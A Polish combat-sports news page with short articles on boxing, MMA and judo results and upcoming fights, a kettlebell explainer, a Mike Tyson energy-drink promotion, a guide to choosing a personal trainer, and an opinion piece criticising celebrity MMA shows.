Finały WBSS odbędą się na jesieni. W kategorii koguciej o triumf powalczą Nonito Donaire i Naoya Inoue, w super lekkiej – Regis Prograis i Josh Taylor oraz wspomniani Yuniel Dorticos i Mairis Briedis w junior ciężkiej.

W poprzedniej edycji turnieju rywalizacja odbywała się w dwóch kategoriach wagowych. W wadze junior ciężkiej triumfował Oleksandr Usyk, który w finale pokonał Murata Gassijewa. Zwycięzcą w kategorii super średniej został Callum Smith. W decydującej potyczce uporał się z George'm Grovesem.

Fot. Krzysztof Głowacki Facebook

KM

Czy 40-latek może?

W grudniu Manny Pacquaio skończy 41 lat. Filipińczyk ogłaszał zakończenie kariery, ale nie wytrzymał zbyt długo i wrócił na ring. 20 lipca Pacquaio czeka go kolejna walka. Jego rywalem będzie pełnoprawny mistrz WBA w wadze półśredniej Keith Thurman.

Pacquaio to symbol boksu na wysokim poziomie. Filipińczyk zapisał się na kartach historii pięściarstwa złotymi literami. Bogata kariera „Pacmana” pełna jest efektownych pojedynków, ale przede wszystkim tytułów. Bowiem Pacquiao jest jedynym w historii mistrzem ośmiu kategorii wagowych. Na zawodowym ringu debiutował w styczniu 1995 roku, czyli 24 lata temu! Kawał czasu. Wtedy to Austria, Szwecja i Finlandia przystąpiły do Unii Europejskiej, a w maju Polska nawiązała stosunki dyplomatyczne z Arabią Saudyjską. Przez te lata wiele na świecie się zmieniło, także w boksie. W 1998 roku filipiński pięściarz sięgnął po pas mistrzowski WBC w wadze muszej. Potem Pacquiao trafił do Stanów Zjednoczonych, gdzie jego kariera nabrała rozpędu. Kolejne kategorie wagowe, kolejne pojedynki z wielkimi pięściarzami. Ricky Hatton, Miguel Cotto, Antonio Margarito, Shan Mosley czy Juan Manuel Marquez  – w starciach z tymi rywalami działo się. W maju 2015 roku w Las Vegas Pacquaio stanął na wprost Floyda Mayweathera Jr. Na tę walkę czekały miliony. Wielkie pieniądze, trzy pasy mistrzowskie w wadze półśredniej i ogromne oczekiwania. Na punkty lepszy był Amerykanin. Pacquaio stoczył jeszcze walkę z Timothym Bradleyem, którą wygrał i udał się na sportową emeryturę. Długo nie wytrzymał. Po pół roku wrócił i pokonał Jessiego Vargasa. Pacquiao niespodziewanie przegrał z Jeffem Hornem, ale kolejne dwa pojedynki wygrał. Ostatnio okazał się lepszy od Adriena Bronera, co dało mu pas WBA Regular.

20 lipca kolejne wyzwanie przed Pacquiao. W MGM Grand w Las Vegas "Pacman" zmierzy się z mistrzem WBA Keithem Thurmanem. Przed pojedynkiem nie brakuje emocji. 30-letni Amerykanin, niepokonany na zawodowym ringu, zapowiada, że odeśle Pacquiao na emeryturę. Zagadką pozostaje forma Thurmana. W styczniu wrócił do rywalizacji po operacji barku i co prawda pokonał Josesito Lopeza, jednak nie zachwycił.

Dzieli ich dziesięć lat. Thurman 22 z 29 pojedynków wygrał przez nokaut. Pacquaio ma o wiele większe doświadczenie. 70 walk, z których 61 wygrał. Niejedno w ringu widział, wielu rywali położył na deski i wychodził z licznych opresji. Zna smak rywalizacji w każdej postaci. Czterdzieści lat minęło, Pacquaio urósł do roli bohatera narodowego, jest senatorem, ale nadal ciągnie go do ringu. Życie zaczyna się po 40-stce? Zobaczymy.

Fot. Manny Pacquaio Facebook

KM

Marcin Zontek wystąpi na FEN 26 we Wrocławiu!

Podczas FEN 26 we Wrocławiu kibice w klatce zobaczą ponownie Marcina Zontka (17-12, 9 KO, 5 SUB). „Zonti” tym samym stoczy swój kolejny pojedynek w kategorii półciężkiej.

Zontek to weteran polskiego MMA i jeden z najbardziej doświadczonych wojowników FEN. Strażak z Kamiennej Góry ma na swoim koncie już 8 pojedynków pod szyldem federacji. Chociaż zwykle toczy swoje walki w limicie do 93 kilogramów, popularny „Zonti” próbował swoich sił również w kategorii ciężkiej – podczas FEN 23 zmierzył się z Marcinem Sianosem. Poprzednio, w maju 2018 roku, bez problemu rozprawił się z Tonim Valtonenem.

Marcin Zontek zdecydował, że po próbie podbicia kategorii ciężkiej powróci w limicie 93 kilogramów. To w tej dywizji był blisko zdobycia pasów dwóch różnych federacji – M-1 Global (podczas M-1 Challenge 60) oraz FEN (podczas FEN 12: Feel The Force).

Trylogia?

Mamed Khalidov podjął decyzję o powrocie do rywalizacji w MMA. Chętny do rywalizacji z byłym mistrzem KSW w wadze średniej jest Tomasz Narkun. Będziemy świadkami trzeciej walki tych panów?

Ostatnio Tomaszowi Narkunowi nie udał się podbój wagi ciężkiej. W Łodzi przegrał z Philipem de Friesem, jednak nadal pozostaje czołową postacią KSW. Popularny "Żyrafa" chciał mieć w swojej kolekcji dwa pasy. Nadal dzierży tytuł mistrzowski w wadze półciężkiej. W październiku 2015 roku w Londynie już w pierwszej rundzie znokautował Gorana Reljicia. Na pierwszy plan wybił się wygrywając dwukrotnie z Mamedem Khalidovem.

Blisko 39-letni Polak czeczeńskiego pochodzenia po drugiej porażce z rzędu zdecydował się przerwać sportową karierę. Mówiło się o kłopotach zdrowotnych, ostatnio Khalidov został zatrzymany przez policję, był przesłuchiwany, a sąd odrzucił wniosek o areszt dla zawodnika. – To dla was dziś postanawiam wrócić ! Ci którzy chcieli zamknąć Khalidowa mogą już odpocząć. Sam wejdę do klatki …. i mogę wam obiecać jedno: mocniejszy niż kiedykolwiek, wybudzony przez odgłosy broni we własnym domu, groźniejszy niż kiedykolwiek. Oczerniony i osądzony wrócę pewniejszy niż kiedykolwiek (pisownia oryginalna) – napisał Mamed zapowiadający swój powrót do MMA.

Reakcja Tomasza Narkuna była natychmiastowa. Zawodnik podkreślał, że otrzymał wiele zapytań od kibiców na temat ewentualnej trzeciej walki z Khalidovem. Narkun nie ukrywa, że trylogia byłaby ciekawym rozwiązaniem. – Wielkie poruszenie wśród wszystkich fanów po tym jak Mamed Khalidov postanowił powrócić do MMA. Także kto wie. Stadion Narodowy? Trzecia walka z Narkunem? Narkun vs Khalidov? Zobaczymy – powiedział Tomasz Narkun w filmiku zamieszczonym w mediach społecznościowych.

Z pewnością trzecia walka Narkuna i Khalidova byłaby wielkim wydarzeniem w polskim MMA. Czas pokaże, czy do starcia dojdzie. Chętnych do spotkania z Khalidovem nie zabraknie. Akces do walki z byłym czempionem wagi średniej zgłosił Scott Askham. Anglik pokonał ostatnio Michała Materlę i zdobył pas KSW.

Głodny rywalizacji Khalidov będzie chciał wrócić w wielkim stylu. Kibice będą czekać na jego walkę. Podstawowa kwestia – czy zawodnik pozbiera się po ostatnich problemach i będzie w stanie rywalizować na najwyższym poziomie. Na przestrzeni lat udowodnił swoją wartość, ale każdy kolejny fighter chciałby mieć na rozkładzie Khalidova, więc zadanie przed nim niełatwe.

Fot. Tomasz Narkun Facebook

KM

Brązowa Julia

Judoczka Julia Kowalczyk (57kg) stanęła na najniższym stopniu podium Grand Prix w Montrealu. Blisko medalu była Agata Perenc (52kg).

Tegoroczne starty Kowalczyk rozpoczęła od siódmej pozycji w Tel Awiwie. Później szybko odpadała z rywalizacji w Dusseldorfie, Marakeszu i Tbilisi. Na początku kwietnia Kowalczyk zapisała na swoim koncie pierwszy triumf w zawodach rangi Grand Prix. W finale zmagań w tureckiej Antalyi pokonała Mariię Skorę i mogła cieszyć się ze zwycięstwa. Trzy miesiące później judoczka Polonii Rybnik sięgnęła po brązowy medal w Montrealu. To pierwszy krążek tego koloru w zawodach Grand Prix. W Kanadzie polska judoczka stoczyła trzy pojedynki. Na początek ekspresowo rozprawiła się z Belgijką Miną Libeer, ale w kolejnej walce musiała uznać wyższość Christy Deguchi, która wygrała zmagania w Montrealu. O podium Kowalczyk rywalizowała z Johanną Mueller. Polka musiała wspiąć się na wyżyny. Pojedynek był niezwykle zacięty i o wyniku zadecydowała dopiero dogrywka. Kowalczyk zanotowała waza ari, co dało jej brązowy medal.

Po piątym miejscu w Igrzyskach Europejskich, o podium ponownie otarła się Agata Perenc. Zawodniczka Polonii Rybnik zmagania w Montrealu zaczęła od wygranej z Soumiyą Iraoui. W kolejnym starciu przegrała z Turczynką Irem Korkmaz i czekały ją repasaże. Wygrana z Tinką Easton dała Polce szansę na brąz. Perenc stanęła przed trudnym zadaniem. Jej rywalką była wicemistrzyni olimpijska z Rio de Janeiro Bokyeong Jeong. O triumfie Azjatki zadecydowało waza ari.

Na siódmych lokatach w Montrealu uplasowały się Beata Pacut (78kg) i Arleta Podolak (57kg). Po jednej wygranej zanotowali panowie – Wiktor Mrówczyński (73kg) i Damian Szwarnowiecki (81kg). W kolejnych starciach przegrali przez ippon.

W Montrealu ton rywalizacji nadawali Japończycy, którzy wywalczyli siedem złotych medali oraz po jednym srebrze i brązie. Za ich plecami Kanadyjczycy. Gospodarze wywalczyli dziewięć medali, ale tylko jedno złoto, do tego cztery srebra i cztery brązy. "Medalowe" podium zamyka Izrael – złoto, srebro i dwa brązy.

KM

Kettlebell: XVIII-wieczny przyrząd do ćwiczeń

Niezależnie od tego jak często odwiedzasz fitnessowe centra, siłownie i inne miejsca do wykonywania aktywności fizycznej, na pewno raz w życiu usłyszałeś w swoim otoczeniu lub gdzieś w internecie słowo "kettlebell". Jest to przyrząd, który w języku polskim nazywamy Girią.

Jego głównym zadaniem jest pomoc we wzmacnianiu poszczególnych partii mięśniowych, ćwiczeniu siły ścisku i kształtowaniu atletycznej sylwetki. Znany od XVIII wieku kettlebell, dzisiaj spotykany jest praktycznie w każdym miejscu przeznaczonym do uprawiania aktywności fizycznej. Jak można go wykorzystać i dlaczego akurat giria?

Czym dokładnie jest kettlebell?

Kettlebel to odlewany z żeliwa odważnik występujący najczęściej w kolorze czarnym z nadrukowanym na nim białym napisem informującym o wadze. Oczywiście, wraz ze wzrostem wagi, zmienia się też jego średnica. Uchwyt może przybierać różny kształt – być bardziej zaokrąglony, bardziej kanciasty lub trójkątny. W sprzedaży oferowane są kettlebelle w przedziale od 4 do 60 kg masy.

Ciekawym urozmaiceniem jest regulacja – występująca w niektórych modelach, pozwalająca na rozłożenie kettlebella na dwie części i dołożenie do środka kolejnych talerzy. Jest dobrą alternatywą dla osób sięgających po girię sporadycznie. Osoby wykonujące bardziej gwałtowne ruchy, w trakcie ćwiczeń będą odczuwały dyskomfort.

Kettle z bardziej fitnessowej półki sprzedawane są w różnej, nieznanej wcześniej kolorystyce. Rączka w wysokiej jakości kettlu powinna być wykonana z tego samego materiału, co sam odważnik. Ponieważ przy wysiłku fizycznym często pod wpływem zmęczenia rzucamy akcesoriami, na dłuższą metę nie zaleca się kupowania modeli z plastikowymi elementami.

Jakie ćwiczenia można wykonywać z "kettlem"?

Wszystkie ćwiczenia, które wymagają zastosowania obciążenia. Istnieją także ćwiczenia dostępne na wyłączność dla posiadaczy kettlebell – takim jest "swing" będący podstawowym ruchem, jaki wykonuje się z użyciem takiego odważnika. Swing to ruch wykorzystujący siłę eksplozywną. Polega na zamachnięciu się girią do przodu, a następnie zgięciu ciała w stawie biodrowym i kolanowym. W wykonaniu przypomina nieco przysiad. Przez cały czas wykonywania tego ćwiczenia powinniśmy utrzymywać poprawną postawę i mieć cały czas ciężar pod kontrolą – nie może być więc zbyt ciężki.

Innymi przykładami atrakcyjnych ćwiczeń jest huśtanie obciążnikiem, spacer farmera z użyciem dwóch kettli, skręty tułowia i przysiady sumo i goblet (goblet squat). 

Czy trening z kettlebellem daje efekty takie jak inne formy treningu?

O ile będziemy kontrolować jego ciężar, zachowamy prawidłową technikę i wykorzystamy wszystkie potrzebne mięśnie, trening z odważnikiem przyniesie wymierne korzyści. Mnogość możliwych ćwiczeń pozwala na wzmocnienie wszystkich mięśni pleców, ramion, brzucha, barków i nóg. Podobnie jak hantel, girię można traktować jako przyrząd uniwersalny. Poza tradycyjnym treningiem siłowym, przydaje się do wzmacniania siły eksplozywnej, ćwiczeń akcesoryjnych, a także treningu aerobowego – cardio i tabaty.

Po więcej zapraszamy na Sklep.Fitnessleon.pl

ONA #1: Gościem programu Arleta Podolak

ONA #1: Zapraszamy na premierowy odcinek programu o kobietach dla kobiet. Monika Porażyńska​ w rozmowie z Arleta Podolak​ pokazuje nasze fighterki z zupełnie innej strony. Poznamy ich życie osobiste, marzenia, co lubią a czego nie…na pewno nie padnie pytanie „Jak przygotowania do walki lub jak poszła ostatnia walka?”. Postaramy się abyście poznali nasze bohaterki jako kobiety a nie tylko zawodniczki.

[kod]

Black. Empower yourself!

Marka Black Energy rusza z nową kampanią! Moc jest w Tobie! To jej główny przekaz.       Ambasadorem marki pozostaje niezmiennie Mike Tyson, który w czerwcu gościł w Warszawie i opowiedział o tym, dlaczego z entuzjazmem promuje nową ideę marki.

Kwintesencją przekazu marki jest idea empowerment, a historia Mike’a Tysona – najmłodszego mistrza świata w historii zawodowego boksu, który tytuł mistrza wszechwag osiągnął dwukrotnie, zdobył mistrzostwo świata trzech najważniejszych federacji bokserskich jest tego najlepszym dowodem. Jak sam powtarza, empowerment jest mu szczególnie bliski. Był bliski już wtedy, kiedy zaczynał trenować i kiedy zdobywał pierwsze trofea. Powtarzał: „Jestem marzycielem. Muszę marzyć i sięgać po gwiazdy, a jeśli nie sięgnę gwiazdy, łapię garść chmur.”

""

Jako nastolatek musiał stanąć przed ważnymi decyzjami życiowymi, które miały olbrzymi wpływ na jego losy. Znalazł w sobie odwagę, podejmował na pozór niemożliwe wyzwania, zwyciężał. Z pomocą swojego trenera i mentora Cusa D’Amato postrzegał problemy jako wyzwania i podejmował je w drodze na szczyt. Jak mówi sam Mike Tyson „Można marzyć o wszystkim i stawiać sobie wielkie wyzwania, ale trzeba umieć znaleźć w sobie siłę i motywację. Trzeba wierzyć w siebie i dać sobie szansę. Ja tak zrobiłem. Odnalazłem w sobie moc, podejmowałem odważne decyzje i pracowałem na swój sukces. To samo chciałbym przekazać wszystkim, którzy mogą nie wiedzieć jak wielki potencjał mają w sobie. Uwierzcie w siebie i walczcie o swoje marzenia!”.

Empowerment – to idea wewnętrznego umacniania siebie i dążenia do realizacji postawionych sobie celów, planów czy marzeń. Właśnie ta myśl przyświeca nowej kampanii marki. Black wierzy, iż w każdym z nas drzemie ogromna moc, czasami większa niż zdajemy sobie z tego sprawę. Jednak każdy z nas ma takie chwile, w których czuje, że potrzebuje dodatkowej energii, aby uwolnić pełnię swojej mocy. Dlatego misją Black jest dodawanie swoim konsumentom energii i odwagi, aby mogli osiągać stawiane sobie cele, bo wierzy, że nikt nie poradzi sobie lepiej w Twojej sytuacji niż Ty sam. Z Black wiesz, że możesz więcej! 

Wizja świata Mike’a Tysona i firmy FoodCare są zbieżne – to świat, w którym ludzie widzą nieograniczone możliwości i jak przekonuje Wiesław Włodarski Prezes Zarządu FoodCare: „Marka Black jest doskonałym przykładem idei empowermentu. Wchodząc na rynek w 2011 roku w zaledwie dwa lata osiągnęła pozycję lidera choć niewielu wierzyło w sukces nowej marki. Teraz walczymy o pozycję numer 1 na świecie. Dla mnie ta idea jest szczególnie bliska, od początku mojej drogi w biznesie kieruję się właśnie nią”.  

Nowa kampania Black Energy Drink wystartuje już w sierpniu i jest czwartą w historii marki przygotowaną z udziałem Mike’a Tysona.

Trener personalny – jak wybrać odpowiednią osobę?

Eksperci biją na alarm, strasząc epidemią otyłości i spadającą sprawnością fizyczną naszego społeczeństwa, dlatego moda na zdrowy styl życia cieszy się niesłabnącym zainteresowaniem od wielu lat. Korzystają na tym trenerzy personalni, którzy w swoich usługach łączą ofertę konsultacji dietetycznych i indywidualnych zajęć sportowych. Jak wybrać odpowiedniego specjalistę, który będzie kompetentny na obu płaszczyznach?

Czym zajmuje się trener personalny?

Trener personalny zajmuje się prowadzeniem indywidualnych zajęć sportowych dla swoich klientów. Aktywność fizyczna dobierana jest pod kątem celu jaki ma osiągnąć podopieczny (na przykład redukcja masy ciała, zbudowanie większej masy mięśniowej, poprawa sylwetki czy powrót do sprawności po kontuzji). Niezmiernie ważne jest odpowiednie dopasowanie treningu do możliwości danej osoby. Pod uwagę należy wziąć jej wiek, staż treningowy, rytm dnia, ilość czasu przeznaczonego na regenerację, rodzaj wykonywanej pracy czy dietę. Jeśli mowa o odżywianiu, wielu instruktorów często układa również jadłospisy, co dodatkowo wspomaga cały proces zmian. Wspieranie i motywacja klienta to kolejne zadania trenera, które jeszcze bardziej poprawiają skuteczność jego pracy z podopiecznym. Połączenie aktywności fizycznej z przemyślaną dietą pozwalają zauważyć pierwsze efekty dość szybko, stąd stale rosnąca zainteresowanie usługami trenerów personalnych.

Kto może zostać trenerem personalnym?

Trenerem personalnym może zostać każdy, ponieważ jako zawód nigdy nie był on uregulowany prawnie. Dodatkowo po wejściu w życie ustawy o sporcie z 25 czerwca 2010 roku, również działalność instruktora w klubach fitness przestała być regulowana. Nie są zatem wymagane żadne uprawnienia państwowe, ani nawet ukończone kursy z tego zakresu. Stanowi to dość duży problem, ponieważ praca z podopiecznym to odpowiedzialne i wymagające zadanie. Dobre przygotowanie do wykonywania tego zawodu daje ukończenie szkoły wyższej np. Akademii Wychowania Fizycznego, studiów z fizjoterapii czy dietetyki, uzupełnionych o specjalistyczne kursy z zakresu fizjologii, anatomii człowieka, biochemii, a także psychologicznego podejścia do pracy z klientem.

Po czym poznać dobrego specjalistę?

Mimo braku prawnych wymagań, dobrze jest, jeśli nasz trener ma wykształcenie, które powiązane jest z wykonywaną pracą. Warto zatem zweryfikować to w pierwszej kolejności. Dodatkową plusem będą ukończone kursy i szkolenia kierunkowe, więc wystarczy o nie zapytać przy pierwszej rozmowie. Trenerzy personalni często prowadzą swoje zajęcia w klubach fitness i na siłowniach, warto więc zrobić odpowiednie rozpoznanie i zapytać o danego instruktora. Wysokiej klasy kluby starają się zatrudniać dobrze wyszkolonych trenerów, chociaż niestety nie ma tutaj reguły. To, na co szczególnie należy zwrócić uwagę, to sposób prowadzenia pierwszej konsultacji. Specjalista  powinien zadać nam kilkanaście ważnych pytań, które pozwolą mu oceniać nasz stan zdrowia, odżywienia, dotychczasową aktywność fizyczną, przybliżone cele i oczekiwania. Wielu trenerów korzysta już ze specjalnych narzędzi, takich jaki program dla dietetyków, które pozwalają zebrać taką ankietę również on-line. W kontekście samego żywienia możemy się spodziewać takich pytań jak: przebyte choroby, przyjmowane leki czy suplementy, alergie, nietolerancje, produkty lubiane i nielubiane. Na rynku są już obecne systemy, które pozwalają na zebranie takiego raportu i przygotowanie jadłospisu, który podopieczny może odebrać w swojej aplikacji mobilnej. Warto zatem zapytać, czy nasz trener nie korzysta z takich rozwiązań, ponieważ znacznie upraszcza to całą współpracę.

""

Trener personalny – jak wybrać właściwą osobę?

Właściwy wybór trenera personalnego nie jest łatwy. Duże zainteresowanie ich usługami sprawia, że na rynku pojawiają się nowi specjaliści, przy czym ich wiedza i doświadczenie pozostawiają wiele do życzenia. Warto więc zweryfikować ich wykształcenie i umiejętności. Należy również przyjrzeć się, gdzie dany trener przyjmuje, jak prowadzi konsultacje, czy wypowiada się kompetentnie w zakresie proponowanych ćwiczeń, fizjoterapii oraz diety. Cenną informacją jest to, czy trener korzysta z profesjonalnego oprogramowania dla specjalistów i czy czyta fachowe źródła wiedzy jak kcalmar.com/dietetyk/blog/. Będzie to wyznacznik, czy traktuję swój zawód odpowiedzialnie lub jest to jego dorywcza praca.

Łokieć…

Krzysztof Głowacki to klasowy pięściarz, były mistrz świata WBO w wadze junior ciężkiej. 15 czerwca w Rydze okoliczności nie były dla niego łaskawe. To co stało się w ringu było zwykłą farsą.

Od kilku lat Krzysztof Głowacki wybija się wśród polskich pięściarzy. Toczy efektowne pojedynki, wygrywa. Co najważniejsze, jest niezwykle ambitny i nie odpuszcza. Wspaniale zaprezentował się 14 sierpnia 2015 roku w Prudential Center, gdzie po niezwykłym pojedynku, pełnym zwrotów akcji położył na deski Marco Hucka. Polak zdobył pas WBO. Tytuł stracił rok później na rzecz mocnego Oleksandra Usyka.

Ostatnio Głowacki znalazł się wśród uczestników turnieju World Boxing Super Series. W ćwierćfinale pokonał mocnego Rosjanina Maksyma Własowa, dzięki czemu zdobył tymczasowy pas mistrza WBO. W półfinale czekał na niego Łotysz Mairis Briedis, który w poprzedniej edycji zmagań odpadł w tej fazie z Usykiem.

To miał być wielki dzień dla Głowackiego. Tak się jednak nie stało, ale trudno tu negatywnie wypowiadać się o polskim bokserze, który od pierwszych minut chciał rywalizować i nękał rywala. Briedis też miał swój sposób na pojedynek… W tym przypadku zasady fair play i szacunku dla rywala odeszły na bok… Były gdzieś daleko poza ringiem, a nawet halą. W drugiej rundzie Głowacki trafił rywala w tył głowy, co rozłościło Briedisa. Ten uderzył łokciem Polaka, który padł na deski. Oszołomiony Głowacki wstał. Łotysz kontynuował atak, a kilka ciosów zadał… po ostatnim gongu. Sędzia ringowy był zagubiony i ponownie liczył pięściarza z Wałcza. W trzeciej rundzie Głowacki niesiony ambicją i sercem do walki chciał znokautować przeciwnika, ale był osłabiony. Briedis posłał w jego stronę kilka prawych i Polak ponownie znalazł się na deskach. Sędzia przerwał pojedynek. Starcie pełne absurdalnych sytuacji, złych decyzji i jakichkolwiek zasad. Na koniec – Briedis przyznaje, że sfaulował Głowackiego celowo. Czy coś trzeba do tego dodawać?

Zobaczymy jak sytuacja potoczy się dalej. Wiadomo – życie idzie do przodu. Obóz Głowackiego nie chce odpuścić sytuacji, ale czy organizatorzy turnieju przychylą się do protestów? Najuczciwszym rozwiązaniem byłby rewanż na neutralnym terenie. Briedis splamił swój honor, zachował się beznadziejnie. Wielu komentatorów nie chciało nawet oceniać jego postawy. Brak słów.

Szkoda Krzysztofa Głowackiego, jego pracy, wysiłku i marzeń. Trzeba wierzyć, że jest jakaś sprawiedliwość, która pozwoli Polakowi jeszcze rywalizować o najwyższe cele.

Fot. Krzysztof Głowacki Facebook

KM

Walka o przyszłość

Głosy o potencjalnej walce Artura Szpilki z Dereckiem Chisorą pojawiły się w ostatnich tygodniach. Wiadomo, że pojedynek odbędzie się 20 lipca w Londynie. Dla Artura Szpilki będzie to ważny punkt w karierze.

Skuteczność "Szpili" w ringu sprawiła, że swego czasu polscy kibice widzieli w nim nadzieję boksu. Szpilka pokonywał kolejnych rywali, wyjechał do Stanów Zjednoczonych i radził sobie na tamtejszych ringach. Szczególnie dwie wygrane z Mikie'm Mollo mogły robić wrażenie. Zwłaszcza, że w rewanżu Polak znalazł się na deskach, ale wrócił na nogi i to rywal musiał pogodzić się z porażką. Szesnaście wygranych walk i nadszedł czas na pierwszy poważny test. Bryant Jennings był wyróżniającym się pięściarzem. Dobra obrona Amerykanina i skuteczność okazały się kluczem do sukcesu. W dziesiątej rundzie Szpilka padł, wstał, ale sędzia przerwał walkę. Rok później Jennings walczył o pasy mistrzowskie z Władimirem Kliczko.

Amerykański sen "Szpili" został przerwany. Kolejna część historii – w hitowym starciu na polskiej ziemi Artur Szpilka pokonał Tomasza Adamka. Sama walka w Polsce była wielkim wydarzeniem, ale zwycięstwo urodzonego w Wieliczce pięściarza stało się pewnym przełomem. Szpilka prezentował się jak dojrzały bokser, w pełni przewidujący wydarzenia w ringu. Po raz kolejny ruszył do Stanów. Wygrał trzy walki przed czasem i stanął przed życiową szansą. Na drodze Polaka pojawił się Deontay Wilder. W starciu o pas WBC "Szpila" prezentował się dobrze, ale wystarczyła chwila, aby czempion go powalił i w dziewiątej rundzie triumfował. Z kolei porażka z Adamem Kownackim rozpoczęła dyskusję, czy Szpilka ma jeszcze "czego szukać w wadze ciężkiej". Sam pięściarz rozważał zawieszenie kariery. Dodatkowo wróciły dawne demony. Szpilka uderzył promotora, wdawał się w niepotrzebne dyskusje, podczas gali KSW zaatakował Tomasza Oświecińskiego. Aspekt sportowy znalazł się gdzieś z boku, a „Szpilka” był w ogniu krytyki.

W 2018 roku bokser stoczył dwie walki. Pokonał Dominicka Guinna i Mariusza Wacha, choć wynik tej drugiej walki wzbudził sporo kontrowersji. Po starciu Szpilka nie wytrzymał nerwowo i wdał się w dyskusję z kibicami.

20 lipca w O2 Arenie Artur Szpilka zmierzy się z Dereckiem Chisorą. To niezwykle ważny pojedynek w karierze polskiego boksera. Ma 30 lat, ale znajduje się w specyficznym położeniu. Niektórzy postawili na nim krzyżyk, inni jeszcze wierzą. Chisora to pięściarz o mocnym nazwisku, choć "prochu już nie wymyśli". Jeśli Szpilka wygra, słońce nadal dla niego będzie świeciło. W przypadku porażki – znajdzie się na bocznym torze wagi ciężkiej. Chisora jest szansą dla Szpilki. Czy ten ją wykorzysta?

KM

Kowalkiewicz poza „dziesiątką”

W najnowszym rankingu UFC Karolina Kowalkiewicz zajmuje 13. lokatę, wyżej sklasyfikowana jest Joanna Jędrzejczyk – 4. miejsce.

Trzecia z rzędu porażka była ogromnym ciosem dla łodzianki. Podczas gali UFC 238 przegrała jednogłośnie na punkty z Alexą Grasso. Niepokój wywołały słowa Kowalkiewicz. – Niestety bolesna prawda jest taka, że najlepsze lata i szczyt formy mam już za sobą, jest dużo młodych, utalentowanych ambitnych zawodniczek którym trzeba ustąpić miejsca…. – napisała w mediach społecznościowych. Brzmi groźnie, ale zawodniczka zapewnia, że jeszcze pojawi się w oktagonie. – Ale nie martwcie się, jeszcze wrócę i będę dawać dobre walki może nie na samym „szczycie” ale dostarczę Wam wielu emocji, dajcie mi tylko trochę czasu – dodała 33-letnia fighterka.

Ponad 2,5 roku temu Kowalkiewicz rywalizowała o pas wagi słomkowej z Joanną Jędrzejczyk i znajdowała się w czołówce swojej kategorii wagowej. W najnowszym zestawieniu UFC Polka wypadła poza czołową "dziesiątkę". Obecnie znajduje się na 13. miejscu, zanotowała spadek o trzy pozycje. Z kolei jej ostatnia rywalka – Grasso awansowała o dwie lokaty i jest jedenastką zawodniczką kategorii słomkowej. Druga z Polek – Joanna Jędrzejczyk zajmuje 4. miejsce. Mistrzynią jest Jessica Andrade, a za jej plecami są kolejno: Rose Namajunas, Tatiana Suarez i Nina Ansaroff. Warto również dodać, że posiadaczka pasa do pierwszej obrony tytułu stanie 31 sierpnie w Shenzhen. Na ostatniej prostej są rozmowy na temat walki Andrade z Weili Zhang. W kwestii uzupełnienia, Joanna Jędrzejczyk jest również czwarta w kategorii muszej.

Rzut oka na pozycje pozostałych Polaków. W kategorii półciężkiej na szóstym miejscu plasuje się Jan Błachowicz. Spadek o jedną pozycję w wadze ciężkiej zanotował Marcin Tybura. Obecnie jest trzynasty.

Na uwagę zasługuje również awans o sześć pozycji Calvina Kattara, który w kategorii piórkowej jest dziewiąty. Dwa ostatnie pojedynki Amerykanin wygrał w pierwszych rundach.  Do czołówki wagi koguciej puka Petr Yan. Rosjanin awansował o pięć lokat – jest czwarty. 26-latek wygrał wszystkie pięć walk w UFC.

Fot. Karolina Kowalkiewicz Facebook

KM

Show zamiast sportu

"Po deszczu zawsze wychodzi słońce", pojawiają się też grzyby. Czasami bardzo dużo, co jest ogromną frajdą dla grzybiarzy. Obecnie przeżywamy wysyp organizacji MMA, które oferują rozrywkę. W skrócie show. Niektórzy mówią, że sport został w szatni, a nawet zamknął się w szafce.

Na potrzeby tekstu stworzymy profil pasjonata tego typu widowisk – Bogdana. Drodzy Państwo, Janusza zostawmy w spokoju. Idą wakacje – niech zakłada skarpetki, klapki i rusza na plażę. A więc Bogdan, a więc show…

Sobota wieczór, może być i piątek. Bogdan znużony tygodniem pracy siada przed telewizorem i oczekuje na dobrą rozrywkę. Ma być efektownie, nieco wulgarnie (a nawet i nieco mocniej), do tego dużo śmiechu. Zagadnienia merytoryczne oraz wszelkie analizy sprawią, że Bogdan zmieni kanał. Tego nie można mu zrobić! Trzeba stworzyć show dla Bogdana i jemu podobnych. A więc jak w przepisie na ciasto – bierzemy trochę tego, ciupkę tego, tu sypniemy, tam dodamy i wychodzi coś. Czy to będzie dobre? Kwestia smaku… Bo jeśli wyłączymy główny składnik, czyli w tym wypadku – przypomnę mówimy o galach sportów walki – umiejętności, klasowych zawodników to coś nam wyjdzie, ale pełnowartościowe nie będzie.

Ale co tam. Bierzemy popcorn, Bożenę pod rękę, kufel do pełna i oglądamy. Organizator zapewnia nam show zapraszając w swoje skromne progi szeroko pojęte gwiazdy. Szanowni Państwo, spójrzcie czasem w niebo. Ile tam jest gwiazd… Zewsząd słyszymy, że pojawią się one również w ringu czy oktagonie. Osoba interesująca się sportami walki przegląda fight card i drapie się po głowie. Chciałoby się powiedzieć: „Sorry, taki mamy klimat”. Stawiamy na Bogdana! Najważniejsze są jego potrzeby, czas, zainteresowanie, uwaga i przekonanie, że oferta gal z gwiazdami z nieba jest super, hiper, fajna i nigdzie takiej nie ma. Ciocia Gienia z sąsiadką Jadzią mogą nawet w oktagonie rozwiązać swój wieloletni konflikt o to, której bigos jest lepszy. Zenek chętnie pokaże Cześkowi, gdzie „raki zimują”. A… i Kazik chętnie zamieni się w żółwia ninja. Co ich łączy? Spodobała im się możliwość bycia częścią show.

Granice są już tylko umowne, widać je na mapie. Mówiąc serio – każdego dnia możemy przekroczyć granice, ale ta smaku została zatarta już dawno. Bogdan tego nie zauważył, bo nie chciał. Chłop chce kawę na ławę i ją dostaje. Prosto, bez żadnych komplikacji, wysiłku. Działamy, żeby upraszczać. Pokazujemy produkt, którego wartość stoi pod wielkim znakiem zapytania. Okazuje się, że każdy może zostać fighterem. Nazwisko działa jak magnes. Co z tego, że umiejętności znikome i w ringu jest swoisty taniec węża czy inne wygibasy. Gdzieś facet zaistniał, ma nazwisko – Bogdan go kupi i ucieszy się, że go widzi. A jeszcze jak przegra – będzie miał satysfakcję. Bo to taka fajtłapa. Gdzie się nie pokaże tam polegnie i kupa śmiechu z niego. Bogdan może cisnąć bekę. Świadomie czy nie – to już inna sprawa.

